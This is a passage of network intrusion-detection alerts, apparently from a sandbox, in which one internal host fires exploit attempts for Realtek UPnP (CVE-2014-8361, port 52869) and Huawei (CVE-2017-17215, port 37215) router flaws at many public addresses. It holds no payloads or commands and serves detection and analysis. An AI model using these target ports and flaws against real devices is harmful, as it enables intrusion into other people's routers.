Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.202.231.124

Timestamp:	07/20/24-23:01:54.310738
SID:	2027339
Source Port:	51218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.89.159.185

Timestamp:	07/20/24-23:01:08.668802
SID:	2831300
Source Port:	60212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.111.248.140

Timestamp:	07/20/24-23:01:32.034562
SID:	2829579
Source Port:	34840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.59.54.38

Timestamp:	07/20/24-23:01:44.926055
SID:	2831300
Source Port:	36816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.67.8.157

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	45534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.154.142.187

Timestamp:	07/20/24-23:01:58.460651
SID:	2831300
Source Port:	39324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.131.130.12

Timestamp:	07/20/24-23:01:08.574948
SID:	2831300
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.12.75.155

Timestamp:	07/20/24-23:01:42.151857
SID:	2027339
Source Port:	54136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.90.253.17

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	44420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.151.5.50

Timestamp:	07/20/24-23:01:03.231165
SID:	2027339
Source Port:	38630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.136.42.217

Timestamp:	07/20/24-23:01:49.035612
SID:	2025132
Source Port:	59540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.200.215.102

Timestamp:	07/20/24-23:01:42.677933
SID:	2831300
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.71.153.133

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	38518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.3.86

Timestamp:	07/20/24-23:01:14.207040
SID:	2829579
Source Port:	38408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.93.40

Timestamp:	07/20/24-23:01:20.157619
SID:	2829579
Source Port:	59652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.218.4.185

Timestamp:	07/20/24-23:02:00.868779
SID:	2831300
Source Port:	43666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.105.77.87

Timestamp:	07/20/24-23:03:53.978924
SID:	2027339
Source Port:	37004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.101.2.117

Timestamp:	07/20/24-23:01:32.032492
SID:	2829579
Source Port:	51940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.71.96.96

Timestamp:	07/20/24-23:01:42.762943
SID:	2027339
Source Port:	45962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.197.27.100

Timestamp:	07/20/24-23:01:43.555540
SID:	2831300
Source Port:	52378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.208.165

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	45554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.23.234.48

Timestamp:	07/20/24-23:01:51.197215
SID:	2027339
Source Port:	52494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.240.126

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	55584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:49.921076
SID:	2025132
Source Port:	44200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.227.25.96

Timestamp:	07/20/24-23:01:42.486106
SID:	2027339
Source Port:	56122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.122.16.215

Timestamp:	07/20/24-23:01:46.663212
SID:	2027339
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.239.164.172

Timestamp:	07/20/24-23:01:45.261796
SID:	2027339
Source Port:	47412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.62.33.47

Timestamp:	07/20/24-23:01:27.650643
SID:	2829579
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 176.251.98.66

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	43712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 160.189.204.148

Timestamp:	07/20/24-23:01:08.563416
SID:	2831300
Source Port:	38528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.101.61.62

Timestamp:	07/20/24-23:01:44.311969
SID:	2831300
Source Port:	33776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:46.423677
SID:	2027339
Source Port:	35350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.96.36.55

Timestamp:	07/20/24-23:01:46.384516
SID:	2025132
Source Port:	54890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.21.167

Timestamp:	07/20/24-23:01:40.296076
SID:	2835222
Source Port:	58716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.81.10

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.90.46.163

Timestamp:	07/20/24-23:01:32.034562
SID:	2829579
Source Port:	60676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.216.201.201

Timestamp:	07/20/24-23:01:42.535137
SID:	2027339
Source Port:	56094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.31.200.232

Timestamp:	07/20/24-23:01:04.627153
SID:	2025132
Source Port:	37094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	07/20/24-23:01:08.560530
SID:	2831300
Source Port:	59256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.64.55.120

Timestamp:	07/20/24-23:01:13.314226
SID:	2025132
Source Port:	40464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.190.123.93

Timestamp:	07/20/24-23:01:02.721182
SID:	2025132
Source Port:	60912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.96.238.187

Timestamp:	07/20/24-23:02:04.052371
SID:	2027339
Source Port:	40874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 20.24.147.17

Timestamp:	07/20/24-23:01:20.596563
SID:	2831300
Source Port:	52728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.71.166.108

Timestamp:	07/20/24-23:01:42.704266
SID:	2027339
Source Port:	49340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.172.86.110

Timestamp:	07/20/24-23:01:44.020551
SID:	2027339
Source Port:	45532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:50.903844
SID:	2027339
Source Port:	40620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.122.127.136

Timestamp:	07/20/24-23:01:06.996056
SID:	2835222
Source Port:	59354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.104.48.215

Timestamp:	07/20/24-23:01:43.845332
SID:	2027339
Source Port:	50558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.217.147

Timestamp:	07/20/24-23:01:27.739158
SID:	2835222
Source Port:	52978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.72.210.150

Timestamp:	07/20/24-23:01:42.908066
SID:	2027339
Source Port:	46248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.77.223.88

Timestamp:	07/20/24-23:01:44.968238
SID:	2831300
Source Port:	50916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.109.146.148

Timestamp:	07/20/24-23:01:42.612377
SID:	2831300
Source Port:	38532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.112.157.125

Timestamp:	07/20/24-23:01:27.677519
SID:	2835222
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.149.9.235

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	52282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.184.252.189

Timestamp:	07/20/24-23:01:41.750477
SID:	2831300
Source Port:	37158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.59.132.204

Timestamp:	07/20/24-23:02:05.544188
SID:	2025132
Source Port:	42936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.171.160.226

Timestamp:	07/20/24-23:01:08.590938
SID:	2831300
Source Port:	39990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.34.158.231

Timestamp:	07/20/24-23:01:04.014688
SID:	2829579
Source Port:	58962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.116.31.11

Timestamp:	07/20/24-23:01:04.999060
SID:	2027339
Source Port:	46928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.232.12.90

Timestamp:	07/20/24-23:01:06.973541
SID:	2829579
Source Port:	33252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.90.235.184

Timestamp:	07/20/24-23:01:41.218109
SID:	2025132
Source Port:	35668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.147.128.195

Timestamp:	07/20/24-23:01:20.113254
SID:	2835222
Source Port:	40340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.151.187.19

Timestamp:	07/20/24-23:01:41.987411
SID:	2831300
Source Port:	32886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.155.48.50

Timestamp:	07/20/24-23:01:46.004063
SID:	2831300
Source Port:	40778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.15.64.29

Timestamp:	07/20/24-23:01:02.079114
SID:	2829579
Source Port:	45680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.179.7.146

Timestamp:	07/20/24-23:01:04.085431
SID:	2835222
Source Port:	37978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.178.123.242

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	33112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.156.14.69

Timestamp:	07/20/24-23:01:54.375005
SID:	2025132
Source Port:	54766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.243.228

Timestamp:	07/20/24-23:01:20.124696
SID:	2829579
Source Port:	42616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.6.68.219

Timestamp:	07/20/24-23:02:42.973189
SID:	2025132
Source Port:	41250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.145.121.113

Timestamp:	07/20/24-23:01:55.262010
SID:	2831300
Source Port:	40522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.145.238.56

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	36096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.161.137.123

Timestamp:	07/20/24-23:01:04.605795
SID:	2025132
Source Port:	35024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.75.241.221

Timestamp:	07/20/24-23:01:13.596807
SID:	2027339
Source Port:	36092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.141.98

Timestamp:	07/20/24-23:01:20.124696
SID:	2829579
Source Port:	40416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.180.219.211

Timestamp:	07/20/24-23:01:31.975107
SID:	2829579
Source Port:	53832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.57.163

Timestamp:	07/20/24-23:01:27.649885
SID:	2829579
Source Port:	54310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.91.68.35

Timestamp:	07/20/24-23:01:43.164529
SID:	2027339
Source Port:	35910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.42.93.65

Timestamp:	07/20/24-23:01:45.074222
SID:	2831300
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.149.133.62

Timestamp:	07/20/24-23:02:20.472956
SID:	2027339
Source Port:	56140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.250.20.58

Timestamp:	07/20/24-23:01:08.565610
SID:	2027339
Source Port:	52460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.132.194.251

Timestamp:	07/20/24-23:02:06.738802
SID:	2027339
Source Port:	42618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.156.74

Timestamp:	07/20/24-23:01:32.073087
SID:	2835222
Source Port:	42264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.119.223.145

Timestamp:	07/20/24-23:00:57.221141
SID:	2829579
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.119.215

Timestamp:	07/20/24-23:01:34.046616
SID:	2829579
Source Port:	32822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.9.168.169

Timestamp:	07/20/24-23:01:01.758577
SID:	2027339
Source Port:	57210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.237.7.212

Timestamp:	07/20/24-23:02:00.328412
SID:	2831300
Source Port:	40100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.234.122

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.105.156

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	57906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.47.187.157

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	40010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.100.49.199

Timestamp:	07/20/24-23:01:53.357099
SID:	2027339
Source Port:	56596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.159.96.215

Timestamp:	07/20/24-23:01:40.307219
SID:	2835222
Source Port:	46016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.212.80.61

Timestamp:	07/20/24-23:01:44.484128
SID:	2025132
Source Port:	38784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.202.134.116

Timestamp:	07/20/24-23:01:42.619336
SID:	2027339
Source Port:	34018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.45.39

Timestamp:	07/20/24-23:01:34.045144
SID:	2829579
Source Port:	60586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.193.87.124

Timestamp:	07/20/24-23:01:01.510385
SID:	2025132
Source Port:	44282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.95.79.32

Timestamp:	07/20/24-23:01:01.752804
SID:	2025132
Source Port:	39800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.79.146.2

Timestamp:	07/20/24-23:01:42.809715
SID:	2027339
Source Port:	57964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.32.150.55

Timestamp:	07/20/24-23:01:08.556804
SID:	2027339
Source Port:	34306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.63.61.192

Timestamp:	07/20/24-23:01:02.048214
SID:	2027339
Source Port:	50834
Destination Port:	52869
Protocol:	TCP
